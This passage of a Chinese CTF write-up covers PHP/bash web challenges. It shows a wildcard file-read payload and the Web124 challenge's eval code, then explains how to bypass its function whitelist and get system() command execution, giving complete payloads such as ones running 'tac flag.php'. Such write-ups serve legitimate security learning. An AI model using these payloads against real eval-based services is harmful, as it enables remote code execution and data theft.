数字4还是用RANDOM随机数来获取,不过是换种方式,十分之一的概率,多发几次包
payload:(${Z}代表0)
| code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? |
| |
| code=<A;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.??? |
Web124
| <?php |
| error_reporting(0); |
| |
| if(!isset($_GET['c'])){ |
| show_source(__FILE__); |
| }else{ |
| |
| $content = $_GET['c']; |
| if (strlen($content) >= 80) { |
| die("太长了不会算"); |
| } |
| $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; |
| foreach ($blacklist as $blackitem) { |
| if (preg_match('/' . $blackitem . '/m', $content)) { |
| die("请不要输入奇奇怪怪的字符"); |
| } |
| } |
| |
| $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; |
| preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); |
| foreach ($used_funcs[0] as $func) { |
| if (!in_array($func, $whitelist)) { |
| die("请不要输入奇奇怪怪的函数"); |
| } |
| } |
| |
| eval('echo '.$content.';'); |
| } |
$pi是因为题目限制只能用这个,其他的不让用 首先$pi的值是_GET,定义这个变量是因为为了动态调用php函数 动态调用 PHP 函数,需要使用 $var{func}
这种形式,其中 $var
是一个字符串,{func}
表示函数名。否则,如果直接使用 $func
,则 PHP 引擎会将其解释为一个未定义的常量,并且会导致语法错误。 为了调用system函数,就要构造
| $pi{abs}($pi{acos});&abs=system&acos=ls |
| $pi{abs}($pi{acos});&abs=system&acos=tac flag.php |
现在问题是如何构造system(cat flag.php) 参数为数字,又能将参数转化为字符串的函数,首先想到hex2bin这个函数,但是它并不在白名单内,所以需要构造hex2bin这个字符串,再拿去调用 先echo base_convert('hex2bin',36,10);得到hex2bin的10进制数字base_convert(37907361743,10,36)就等于hex2bin
再echo hexdec(bin2hex('_GET'));得到_GET的10进制数字为1598506324
所以hex2bin(dechex(1598506324))就等于_GET,为什么不能直接用16进制而非要传递一个10进制转换成16进制多此一举呢,也是因为16进制参数为0x123456它存在一个x,会匹配正则的第一项,从而将后续123456当成函数名导致不能过掉白名单
所以base_convert(37907361743,10,36)(dechex(1598506324))就等于_GET了
因为$pi
是一个字符串,而不是一个函数。$pi
的值是通过将 37907361743
和 1598506324
作为参数传递给 base_convert
和 dechex
函数计算得到的字符串。因此,如果直接使用 $pi{abs}($pi{acos})
,PHP 引擎将无法识别 $pi
变量中的函数名。 为了解决这个问题,可以使用 PHP 变量变量解析器和函数调用链来动态调用函数。具体来说,$$pi{abs}
将 $pi{abs}
解释为一个变量名,然后使用 $pi{acos}
作为该变量名的值进行函数调用。因此,$$pi{abs}($$pi{acos})
将会调用 $pi{abs}($pi{acos})
。 所以要构造
| $$pi{abs}($$pi{acos});&abs=system&acos=ls |
| $$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php |
| c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls |
| |
| c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php |
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 如何使用 Uni-app 实现视频聊天(源码,支持安卓、iOS)
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)